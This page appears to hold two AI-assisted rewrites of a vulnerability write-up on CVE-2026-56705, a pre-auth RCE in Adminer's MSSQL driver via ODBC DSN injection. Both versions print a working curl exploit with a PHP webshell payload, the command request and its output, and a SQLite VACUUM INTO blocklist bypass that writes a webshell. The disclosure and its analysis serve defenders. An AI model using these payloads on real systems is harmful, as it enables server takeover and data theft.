Skip to content
RCE Write-up Advanced

CVE-2026–56705: Pre-Auth RCE in Adminer’s MSSQL Driver

Adminer's MSSQL driver passed the login form's server field unescaped into an ODBC connection string, so an attacker could add tracing options that wrote a log file into the web root. Because the username field was also written into that log, the attacker could place executable PHP code on the server without valid credentials.

medium.com

Published on medium.com

Database

WhitGuidance, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

Adminer is a database management tool distributed as a single PHP file that is dropped directly into a web root. That convenience is also why it is a common target: a login page sitting on the internet, indexed and scannable. The login form takes driver, server, username and password and hands them to the selected database driver's attach() function, which builds a DSN and opens a connection.

The bug covered here is CVE-2026-56705, a pre-authentication remote code execution issue in Adminer's MSSQL driver. The key property is that an attacker can drop arbitrary PHP into the web root even when the login attempt itself fails.

Setup

The report lists the following details:

Item Value
CVE ID CVE-2026-56705
Target Adminer (vrana/adminer), current stable adminer-5.4.2.php
CVSS 9.8 (Critical)
Attack requirement None: pre-authentication, over the network
Precondition pdo_sqlsrv extension plus Microsoft ODBC Driver for SQL Server installed
Impact Remote Code Execution
Discovery Voorivex Team (Yashar Shahinzadeh, Amirmohammad Safari), reported to the vendor on April 6, 2026

The pdo_sqlsrv plus ODBC Driver combination is exactly what you get on hosts talking to Azure SQL Database or an MS SQL Server backend. A writable web root, which the exploit needs, is the default in a lot of containerised PHP deployments.

Finding it

The MSSQL driver's attach() function lives at adminer/drivers/mssql.inc.php:185:

PHP
if (extension_loaded("pdo_sqlsrv")) {    class Db extends MssqlDb {        public $extension = "PDO_SQLSRV";
PHP
        function attach(string $server, string $username, string $password): string {            list($host, $port) = host_port($server);            return $this->dsn("sqlsrv:Server=$host" . ($port ? ",$port" : ""), $username, $password);        }    }}

Two things go wrong here:

  1. $host is concatenated into the DSN string with zero escaping.
  2. host_port() only strips anything for the IPv6 bracket form ([::1]:1433); everything else passes through untouched.

The helper is at include/functions.inc.php:851:

PHP
function host_port(string $server) {    return (preg_match('~^(\[(.+)]|([^:]+)):([^:]+)$~', $server, $match)        ? array($match[2] . $match[3], $match[4])        : array($server, '')    );}

Any input that does not match this pattern, which includes anything shaped like IP;option=value, falls through the regex and comes back exactly as submitted. Whatever an attacker types into the login form's server field therefore lands, character for character, inside the DSN.

Exploitation

Step 1: understand why a single semicolon is enough

ODBC connection strings (DSNs) use a semicolon as the parameter delimiter. Put a semicolon in the server field and everything after it is parsed as a brand-new DSN option.

The two options that matter are TraceFile and TraceOn. Turning them on makes the ODBC driver log the connection attempt itself to a file at the given path, regardless of whether the connection succeeds. That log includes the full connection string, including the UID={...} field, which is populated straight from the username field on the login form.

From the original on medium.com

That gives an attacker control over three things:

  • TraceFile sets the path and filename of the log file (shell.php).
  • TraceOn=1 turns tracing on.
  • username injects PHP code into the UID={...} field inside that log.

Step 2: follow the payload from attach() to PDO

dsn() calls new \PDO($dsn, $username, $password, $options) directly, in pdo.inc.php:13:

PHP
function dsn(string $dsn, string $username, string $password, array $options = array()): string {    $options[\PDO::ATTR_ERRMODE] = \PDO::ERRMODE_SILENT;    $options[\PDO::ATTR_STATEMENT_CLASS] = array('Adminer\PdoResult');    try {        $this->pdo = new \PDO($dsn, $username, $password, $options);    } catch (\Exception $ex) {        return $ex->getMessage();    }    ...}

The entire chain, login form to attach() to dsn() to new PDO(), never once escapes or validates the input.

Step 3: send the request

The actual request looks like this:

Bash
curl "http://target.tld/adminer.php" -L -c - \  -d "auth[driver]=mssql" \  -d "auth[server]=[redacted];TraceFile=shell.php;TraceOn=1" \  --data-urlencode "auth[username]=<?php system(\$_GET['c']); ?>" \  -d "auth[password]=x"

The request sends the driver, server, username and password fields as shown above.

Step 4: what the server builds

When this hits the server, Adminer builds this DSN and hands it to PDO:

Text
sqlsrv:Server=[redacted];TraceFile=shell.php;TraceOn=1

The ODBC driver opens shell.php, writes the connection metadata into it (the PHP payload sitting inside UID={...}), then attempts to connect to [redacted] and fails. The failure does not matter: shell.php already exists next to adminer.php.

Step 5: execute

One more request finishes the job:

Bash
curl "http://target.tld/shell.php?c=id"# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Here is the full attack flow:

From the original on medium.com

Root cause

The MSSQL driver concatenates the user-supplied host into the DSN with no escaping, and host_port() returns the raw input whenever its regex does not match. Because the semicolon is the DSN parameter delimiter, the attacker can append arbitrary ODBC options, and TraceFile plus TraceOn turn the connection attempt into an arbitrary file write whose contents include the attacker-controlled username.

Several factors make this severe:

  • Pre-auth: the login attempt is designed to fail. No valid MSSQL credentials, and no reachable MSSQL server, are required.
  • Timing of the write: the file gets written during the ODBC driver's connection attempt, not inside Adminer's own auth logic, so there is no application-level checkpoint that could intercept it.
  • Precondition: pdo_sqlsrv plus the Microsoft ODBC Driver, which is exactly what you get on hosts talking to Azure SQL Database or an MS SQL Server backend.
  • Writable web root: the default in a lot of containerised PHP deployments.

The same shape exists in the sibling pdo_dblib branch (mssql.inc.php:195, DSN template dblib:charset=utf8;host=$host). The original report notes they did not have a reachable dblib install to confirm a working gadget there, but the code path is identical.

A related case: bypassing the SQLite blocklist

A third issue reported alongside this one, in the same codebase, follows a similar shape. Adminer already knows that ATTACH DATABASE 'shell.php' is a classic SQLite-to-PHP-shell primitive, so it blocks it at adminer/sql.inc.php:121:

PHP
if (JUSH == "sqlite" && preg_match("~^$space*+ATTACH\\b~i", $q, $match)) {    echo "<p class='error'>" . lang('ATTACH queries are not supported.') . "\n";}

The problem: VACUUM INTO 'path', available since SQLite 3.27.0, does almost exactly the same thing. It writes the current database out to an arbitrary path with an arbitrary extension. The blocklist regex only matches queries starting with ATTACH, so a query starting with VACUUM sails right through.

SQL
CREATE TABLE "<?php system($_GET['c']); ?>" (i int);VACUUM INTO '/var/www/html/shell.php';

The table name carries the PHP payload, and VACUUM INTO dumps the whole database into a .php file. PHP's parser finds the <?php ... ?> block sitting in the middle of the binary SQLite content and executes it. This path requires authentication, so it is less severe than the MSSQL bug, but SQLite-backed Adminer instances are often left with default or empty credentials, so the practical risk is still meaningful.

The common root cause

All three issues share the same pattern:

  1. User input is passed to a downstream system (ODBC, a version-string regex, a SQL blocklist) with no trust boundary in between.
  2. A partial-match regex, on failure, returns the raw input instead of a safe default.
  3. Blocklist-based defences do not keep up with new syntax (like VACUUM INTO).

host_port() returning the original string when its regex does not match, the SQLite blocklist only catching ATTACH\b, and, in a related XSS bug in the same audit, a version-string regex falling back to the raw value on a failed match, all three bugs share the exact same failure mode: match failure means the input passes through unmodified.

Impact

An unauthenticated attacker who can reach an Adminer login page on a host with pdo_sqlsrv and the Microsoft ODBC Driver installed can write a PHP file into the web root, provided the web root is writable. The MSSQL path needs no credentials and no reachable database server. The SQLite VACUUM INTO path requires authentication, but SQLite-backed Adminer instances are often left with default or empty credentials.

Fix

The report does not describe a vendor fix or a patch. What it does make clear is the failure mode to remove: input that fails a validation regex should not be passed through unmodified, and user-supplied values should not be concatenated into a DSN without escaping. Blocklists such as the ATTACH check should be replaced or extended so that equivalent syntax like VACUUM INTO is covered.

Variants to test

  • Other DSN options in the server field. Try appending other ODBC parameters after a semicolon and observe whether the driver acts on them. A positive result is a DSN that the driver accepts with the injected option applied.
  • The pdo_dblib branch. The report notes the same code path exists at mssql.inc.php:195 with the template dblib:charset=utf8;host=$host, but the researchers could not confirm a working gadget without a reachable dblib install. A positive result would be a file written through the dblib DSN in the same way.
  • SQLite blocklist bypasses. Look for other SQLite statements that write to an arbitrary path, in the same spirit as VACUUM INTO. A positive result is a query that is not caught by the ATTACH regex and produces a file at a chosen path.
  • Other regex fallbacks. Look for validation helpers that return the raw input when their pattern does not match, as host_port() does. A positive result is a value that reaches a downstream parser unchanged after failing validation.
From the original on medium.com

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 18 min read.

What happened, in plain words

Imagine a small, free tool that lets you look inside a database from your browser. It is called Adminer. A database is an organised collection of information, like a very large, very strict spreadsheet, and Adminer is the friendly window you use to peek at it. Adminer is popular because it is just one file: you copy it onto a web server, open it in a browser, and you get a login page. A web server is the computer that sends web pages to visitors. Because that one file is so easy to put online, thousands of them sit on the internet, and anyone can find them with a search engine or a scanner.

A security researcher found a serious flaw in one part of Adminer: the part that talks to Microsoft SQL Server, a particular brand of database. The flaw lets a stranger who has never logged in make the server save a small program of their own choosing next to Adminer, and then run it. Running your own program on someone else's server is called remote code execution, often shortened to RCE. The flaw has an official tracking number, CVE-2026-56705. A CVE is a public catalogue entry for a known security bug, so people can refer to it unambiguously.

The surprising part is that the attacker does not need a correct password, and does not even need the database to be reachable. The login attempt is meant to fail. The damage happens on the way to failing.

The details at a glance

The report lists these facts:

Item Value
CVE ID CVE-2026-56705
Target Adminer (vrana/adminer), current stable adminer-5.4.2.php
CVSS 9.8 (Critical)
Attack requirement None: pre-authentication, over the network
Precondition pdo_sqlsrv extension plus Microsoft ODBC Driver for SQL Server installed
Impact Remote Code Execution
Discovery Voorivex Team (Yashar Shahinzadeh, Amirmohammad Safari), reported to the vendor on April 6, 2026

A few of those terms need unpacking.

  • CVSS is a scoring system for how bad a security bug is. Scores run from 0 to 10. 9.8 is near the top, labelled Critical.
  • Pre-authentication means the attacker does not need to log in first. The attack works before any password check succeeds.
  • Over the network means the attacker only needs to be able to reach the web page, not sit at the machine.
  • Extension here means an optional add-on for PHP, the programming language Adminer is written in. pdo_sqlsrv is the add-on that lets PHP talk to Microsoft SQL Server.
  • ODBC Driver is a piece of software that translates between a program and a database. Think of it as an interpreter who speaks both languages.

That combination, the pdo_sqlsrv add-on plus the Microsoft ODBC Driver, is exactly what you find on servers that talk to Azure SQL Database or an MS SQL Server backend. Azure SQL Database is Microsoft's cloud database service. A writable web root, which the attack needs, is the default in a lot of containerised PHP deployments. The web root is the folder on the server that holds the files visitors can request. Writable means the web server itself is allowed to create new files there. Containerised means the software runs inside a lightweight, pre-packaged box, and those boxes often leave the web root writable.

Finding it

The part of Adminer that handles Microsoft SQL Server has a function called attach(). A function is a named block of code that does one job; this one's job is to open a connection to the database. It lives at adminer/drivers/mssql.inc.php:185. The number at the end is a line number, so you can find it in the file.

PHP
if (extension_loaded("pdo_sqlsrv")) {    class Db extends MssqlDb {        public $extension = "PDO_SQLSRV";

Line by line:

  1. if (extension_loaded("pdo_sqlsrv")) asks: is the pdo_sqlsrv add-on switched on? If yes, the code inside the braces runs.
  2. class Db extends MssqlDb defines a new class called Db. A class is a blueprint for an object, a bundle of code and data. extends MssqlDb means it builds on an existing blueprint called MssqlDb, inheriting its behaviour.
  3. public $extension = "PDO_SQLSRV"; sets a label on the class saying which extension it uses.
PHP
        function attach(string $server, string $username, string $password): string {            list($host, $port) = host_port($server);            return $this->dsn("sqlsrv:Server=$host" . ($port ? ",$port" : ""), $username, $password);        }    }}

Line by line:

  1. function attach(string $server, string $username, string $password): string declares the function. It takes three pieces of text: the server address, the username and the password. The : string at the end says it will hand back text.
  2. list($host, $port) = host_port($server); calls a helper function, host_port(), to split the server address into a host (the machine name or address) and a port (a numbered door on that machine). The two results are stored in $host and $port.
  3. return $this->dsn("sqlsrv:Server=$host" . ($port ? ",$port" : ""), $username, $password); builds a connection string. A connection string, or DSN (data source name), is a short line of text that tells the driver where to connect and how. Here it starts with sqlsrv:Server= and then the host. If a port was found, it appends a comma and the port; otherwise it appends nothing. The finished string, plus the username and password, goes to another function called dsn().

Two things go wrong here:

  1. $host is glued into the connection string with zero escaping. Escaping means marking special characters so they are treated as ordinary text rather than as instructions. Without it, a character the attacker types can change the meaning of the whole string.
  2. host_port() only strips anything for the IPv6 bracket form ([::1]:1433); everything else passes through untouched. IPv6 is a newer version of the addressing system that computers use to find each other; the bracket form is how you write an IPv6 address with a port after it.

The helper is at include/functions.inc.php:851:

PHP
function host_port(string $server) {    return (preg_match('~^(\[(.+)]|([^:]+)):([^:]+)$~', $server, $match)        ? array($match[2] . $match[3], $match[4])        : array($server, '')    );}

Line by line:

  1. function host_port(string $server) { declares a function that takes the server text.
  2. preg_match('~^(\[(.+)]|([^:]+)):([^:]+)$~', $server, $match) runs a pattern match. A regular expression, or regex, is a way of describing a shape of text. This one describes the bracket form: something in square brackets, then a colon, then something else. If the text fits the shape, the pieces are copied into $match.
  3. ? array($match[2] . $match[3], $match[4]) is what happens when the pattern matches: it returns the host and the port as two items.

That last line is the heart of the problem. Any input that does not match this pattern, which includes anything shaped like IP;option=value, falls through the regex and comes back exactly as submitted. Whatever an attacker types into the login form's server field therefore lands, character for character, inside the connection string.

Exploitation

Step 1: understand why a single semicolon is enough

ODBC connection strings use a semicolon as the parameter delimiter. A delimiter is a character that separates one item from the next, like the comma in a shopping list. Put a semicolon in the server field and everything after it is parsed as a brand-new connection option. The attacker is not just supplying an address any more; they are adding settings of their own.

The two options that matter are TraceFile and TraceOn. Tracing is a debugging feature: it makes the driver keep a diary of what it did. TraceOn=1 switches the diary on, and TraceFile says where to write it. Turning them on makes the ODBC driver log the connection attempt itself to a file at the given path, regardless of whether the connection succeeds. That log includes the full connection string, including the UID={...} field, which is populated straight from the username field on the login form. UID is simply the label the driver uses for the username inside its log.

From the original on medium.com

That gives an attacker control over three things:

  • TraceFile sets the path and filename of the log file (shell.php).
  • TraceOn=1 turns tracing on.
  • username injects PHP code into the UID={...} field inside that log.

PHP code is the kind of program the web server knows how to run. A file ending in .php that sits in the web root can be requested in a browser, and the server will execute whatever PHP it contains. So the attacker is not merely writing a text file; they are planting a program.

Step 2: follow the payload from attach() to PDO

dsn() calls new \PDO($dsn, $username, $password, $options) directly, in pdo.inc.php:13. PDO is PHP's generic database-connection library; it takes the connection string and opens the connection.

PHP
function dsn(string $dsn, string $username, string $password, array $options = array()): string {    $options[\PDO::ATTR_ERRMODE] = \PDO::ERRMODE_SILENT;    $options[\PDO::ATTR_STATEMENT_CLASS] = array('Adminer\PdoResult');    try {        $this->pdo = new \PDO($dsn, $username, $password, $options);    } catch (\Exception $ex) {        return $ex->getMessage();    }    ...}

Line by line:

  1. function dsn(string $dsn, string $username, string $password, array $options = array()): string declares the function. It takes the connection string, the username, the password and an optional list of settings.
  2. $options[\PDO::ATTR_ERRMODE] = \PDO::ERRMODE_SILENT; tells PDO to stay quiet about errors rather than shouting them out.
  3. $options[\PDO::ATTR_STATEMENT_CLASS] = array('Adminer\PdoResult'); tells PDO to wrap query results in Adminer's own result class.
  4. try { begins a block where errors are caught rather than crashing the program.
  5. $this->pdo = new \PDO($dsn, $username, $password, $options); creates the connection object, handing over the connection string, the username and the password.
  6. } catch (\Exception $ex) { catches any error that occurs.
  7. return $ex->getMessage(); hands back the error message as text.

The entire chain, login form to attach() to dsn() to new PDO(), never once escapes or validates the input. Validating means checking that input is what you expect before using it. None of that happens here.

Step 3: send the request

The actual request looks like this:

Bash
curl "http://target.tld/adminer.php" -L -c - \  -d "auth[driver]=mssql" \  -d "auth[server]=[redacted];TraceFile=shell.php;TraceOn=1" \  --data-urlencode "auth[username]=<?php system(\$_GET['c']); ?>" \  -d "auth[password]=x"

Line by line:

  1. curl is a command-line tool for sending web requests. It is the browser equivalent of typing a URL and pressing Enter, but from a terminal.
  2. "http://target.tld/adminer.php" is the address of the Adminer login page. target.tld stands in for the real domain.
  3. -L tells curl to follow redirects. A redirect is a server's way of saying "the page you want is over there".
  4. -c - tells curl to keep any cookies it receives and print them. A cookie is a small piece of text a website asks your browser to store and send back on later requests, so the site can remember who you are between page loads.
  5. -d "auth[driver]=mssql" sends a form field named auth[driver] with the value mssql. The square brackets are how PHP groups related form fields into one list. This field selects the MSSQL driver, the part of Adminer that talks to Microsoft SQL Server.
  6. -d "auth[server]=[redacted];TraceFile=shell.php;TraceOn=1" sends the server field. [redacted] is the address a computer uses to refer to itself. After it come the two injected options, separated by semicolons: write the trace to shell.php, and switch tracing on.
  7. --data-urlencode "auth[username]=<?php system(\$_GET['c']); ?>" sends the username field, URL-encoded. URL encoding replaces characters that are awkward in a web request with safe codes, so the PHP payload survives the form encoding intact. The payload itself is a tiny PHP program: system() runs a command on the server, and $_GET['c'] takes that command from the c part of the URL.
  8. -d "auth[password]=x" sends a password of x. The password is irrelevant; it is there only because the form expects one.

Step 4: what the server builds

When this hits the server, Adminer builds this connection string and hands it to PDO:

Text
sqlsrv:Server=[redacted];TraceFile=shell.php;TraceOn=1

Reading it left to right: connect using the sqlsrv driver to the server at [redacted]; write the trace to a file called shell.php; turn tracing on. Because the semicolon is the delimiter, the driver treats the last two parts as settings, not as part of the address.

The ODBC driver opens shell.php, writes the connection metadata into it (the PHP payload sitting inside UID={...}), then attempts to connect to [redacted] and fails. The failure does not matter: shell.php already exists next to adminer.php. The file is written during the connection attempt, so the outcome of the attempt is beside the point.

Step 5: execute

One more request finishes the job:

Bash
curl "http://target.tld/shell.php?c=id"# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Line by line:

  1. curl "http://target.tld/shell.php?c=id" requests the file the attacker just planted. The ?c=id part passes id as the command. id is a standard command that reports which user the server is running as.
  2. # uid=33(www-data) gid=33(www-data) groups=33(www-data) is the response. uid is the numeric user identifier, gid the group identifier, and groups lists the groups the user belongs to. In plain terms: the attacker's command ran on the server with the web server's own permissions.

Here is the full attack flow:

From the original on medium.com

Root cause

The MSSQL driver concatenates the user-supplied host into the connection string with no escaping, and host_port() returns the raw input whenever its regex does not match. Because the semicolon is the connection-string delimiter, the attacker can append arbitrary ODBC options, and TraceFile plus TraceOn turn the connection attempt into an arbitrary file write whose contents include the attacker-controlled username. An arbitrary file write means the attacker chooses both the location and the contents of a file the server creates.

Several factors make this severe:

  • Pre-auth: the login attempt is designed to fail. No valid MSSQL credentials, and no reachable MSSQL server, are required.
  • Timing of the write: the file gets written during the ODBC driver's connection attempt, not inside Adminer's own auth logic, so there is no application-level checkpoint that could intercept it. Auth logic is the part of the program that checks passwords; the write happens outside it, in the driver.
  • Precondition: pdo_sqlsrv plus the Microsoft ODBC Driver, which is exactly what you get on hosts talking to Azure SQL Database or an MS SQL Server backend.
  • Writable web root: the default in a lot of containerised PHP deployments.

The same shape exists in the sibling pdo_dblib branch (mssql.inc.php:195, connection-string template dblib:charset=utf8;host=$host). pdo_dblib is another add-on for talking to Microsoft databases, a different route to the same kind of server. The original report notes they did not have a reachable dblib install to confirm a working gadget there, but the code path is identical. A gadget, in this context, is a specific combination of features that produces the harmful effect.

A related case: bypassing the SQLite blocklist

A third issue reported alongside this one, in the same codebase, follows a similar shape. SQLite is a database that lives in a single file, often used by small sites. Adminer already knows that ATTACH DATABASE 'shell.php' is a classic SQLite-to-PHP-shell primitive, so it blocks it at adminer/sql.inc.php:121. A blocklist is a list of things you refuse to allow. A primitive, in security jargon, is a basic building block an attacker can use towards a larger goal.

PHP
if (JUSH == "sqlite" && preg_match("~^$space*+ATTACH\\b~i", $q, $match)) {    echo "<p class='error'>" . lang('ATTACH queries are not supported.') . "\n";}

Line by line:

  1. if (JUSH == "sqlite" checks whether the current database type is SQLite. JUSH is Adminer's internal label for the database dialect.
  2. && preg_match("~^$space*+ATTACH\\b~i", $q, $match) checks whether the query $q starts with optional whitespace and then the word ATTACH. The ^ means start of text, $space*+ means any amount of whitespace, and \\b means a word boundary, so ATTACH must be a whole word. The i at the end makes the match case-insensitive.
  3. echo "<p class='error'>" . lang('ATTACH queries are not supported.') . "\n"; prints an error message and refuses the query.

The problem: VACUUM INTO 'path', available since SQLite 3.27.0, does almost exactly the same thing. It writes the current database out to an arbitrary path with an arbitrary extension. The blocklist regex only matches queries starting with ATTACH, so a query starting with VACUUM sails right through.

SQL
CREATE TABLE "<?php system($_GET['c']); ?>" (i int);VACUUM INTO '/var/www/html/shell.php';

Line by line:

  1. CREATE TABLE "<?php system($_GET['c']); ?>" (i int); creates a table whose name is the PHP payload. A table is the basic container in a database, like a sheet in a spreadsheet. The name is in double quotes, so SQLite accepts the odd characters.
  2. VACUUM INTO '/var/www/html/shell.php'; writes a copy of the whole database to the given path. VACUUM is normally a housekeeping command that tidies a database; INTO makes it write the result to a file instead.

The table name carries the PHP payload, and VACUUM INTO dumps the whole database into a .php file. PHP's parser finds the <?php ... ?> block sitting in the middle of the binary SQLite content and executes it. A parser is the part of the software that reads a file and works out what it means. This path requires authentication, so it is less severe than the MSSQL bug, but SQLite-backed Adminer instances are often left with default or empty credentials, so the practical risk is still meaningful.

The common root cause

All three issues share the same pattern:

  1. User input is passed to a downstream system (ODBC, a version-string regex, a SQL blocklist) with no trust boundary in between. A trust boundary is the point where you stop trusting data and start checking it.
  2. A partial-match regex, on failure, returns the raw input instead of a safe default.
  3. Blocklist-based defences do not keep up with new syntax (like VACUUM INTO).

host_port() returning the original string when its regex does not match, the SQLite blocklist only catching ATTACH\b, and, in a related XSS bug in the same audit, a version-string regex falling back to the raw value on a failed match, all three bugs share the exact same failure mode: match failure means the input passes through unmodified. XSS, or cross-site scripting, is a class of bug where an attacker gets their own code to run in someone else's browser. An audit is a systematic review of code for security problems.

Impact

An unauthenticated attacker who can reach an Adminer login page on a host with pdo_sqlsrv and the Microsoft ODBC Driver installed can write a PHP file into the web root and execute commands as the web server user, provided the web root is writable. Unauthenticated means without logging in. The MSSQL path needs no credentials and no reachable database server. The SQLite VACUUM INTO path requires authentication, but SQLite-backed Adminer instances are often left with default or empty credentials.

Fix

The report does not describe a vendor fix or a patch. What it does make clear is the failure mode to remove: input that fails a validation regex should not be passed through unmodified, and user-supplied values should not be concatenated into a connection string without escaping. Blocklists such as the ATTACH check should be replaced or extended so that equivalent syntax like VACUUM INTO is covered.

Variants to test

  • Other connection-string options in the server field. Try appending other ODBC parameters after a semicolon and observe whether the driver acts on them. A positive result is a connection string that the driver accepts with the injected option applied.
  • The pdo_dblib branch. The report notes the same code path exists at mssql.inc.php:195 with the template dblib:charset=utf8;host=$host, but the researchers could not confirm a working gadget without a reachable dblib install. A positive result would be a file written through the dblib connection string in the same way.
  • SQLite blocklist bypasses. Look for other SQLite statements that write to an arbitrary path, in the same spirit as VACUUM INTO. A positive result is a query that is not caught by the ATTACH regex and produces a file at a chosen path.
  • Other regex fallbacks. Look for validation helpers that return the raw input when their pattern does not match, as host_port() does. A positive result is a value that reaches a downstream parser unchanged after failing validation.
From the original on medium.com

Glossary

  • Adminer: a database management tool distributed as a single PHP file that you place in a web root and open in a browser.
  • Audit: a systematic review of code looking for security problems.
  • Authentication: the process of proving who you are, usually with a username and password.
  • Azure SQL Database: Microsoft's cloud-hosted database service.
  • Blocklist: a list of things a system refuses to allow.
  • Class: a blueprint in code for an object, bundling data and behaviour.
  • Connection string (DSN): a short line of text telling a database driver where to connect and with which settings.
  • Containerised: running software inside a lightweight, pre-packaged box.
  • Cookie: a small piece of text a website asks your browser to store and send back on later requests.
  • Credentials: the username and password used to log in.
  • CVE: a public catalogue entry for a known security vulnerability.
  • CVSS: a scoring system for the severity of a security bug, from 0 to 10.
  • Delimiter: a character that separates one item from the next.
  • Driver: software that translates between a program and a particular kind of database.
  • Escaping: marking special characters so they are treated as ordinary text rather than as instructions.
  • Extension: an optional add-on that gives a programming language extra abilities.
  • Function: a named block of code that performs one job.
  • Gadget: a specific combination of features that produces a harmful effect.
  • Host: the machine name or address of a computer on a network.
  • IPv6: a newer version of the addressing system computers use to find each other.
  • ODBC Driver: a piece of software that translates between a program and a database using the ODBC standard.
  • Parser: the part of software that reads a file or text and works out what it means.
  • PDO: PHP's generic library for opening database connections.
  • PHP: the programming language Adminer is written in, widely used for websites.
  • Port: a numbered door on a computer that a particular service listens on.
  • Pre-authentication: reachable before any login check succeeds.
  • Primitive: a basic building block an attacker can use towards a larger goal.
  • Redirect: a server's instruction to send the browser to a different address.
  • Regex (regular expression): a way of describing a shape of text so software can test whether text fits it.
  • Remote code execution (RCE): making a program of your choosing run on someone else's computer.
  • SQL: the language used to ask questions of and give instructions to a database.
  • SQLite: a database that lives in a single file, often used by small sites.
  • Table: the basic container in a database, like a sheet in a spreadsheet.
  • Tracing: a debugging feature that makes software keep a diary of what it did.
  • Trust boundary: the point where you stop trusting data and start checking it.
  • Unauthenticated: without logging in.
  • URL encoding: replacing awkward characters in a web request with safe codes so they survive intact.
  • Validation: checking that input is what you expect before using it.
  • Web root: the folder on a server that holds the files visitors can request.
  • Writable: allowed to have new files created in it by the web server.
  • XSS (cross-site scripting): a bug class where an attacker gets their own code to run in someone else's browser.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.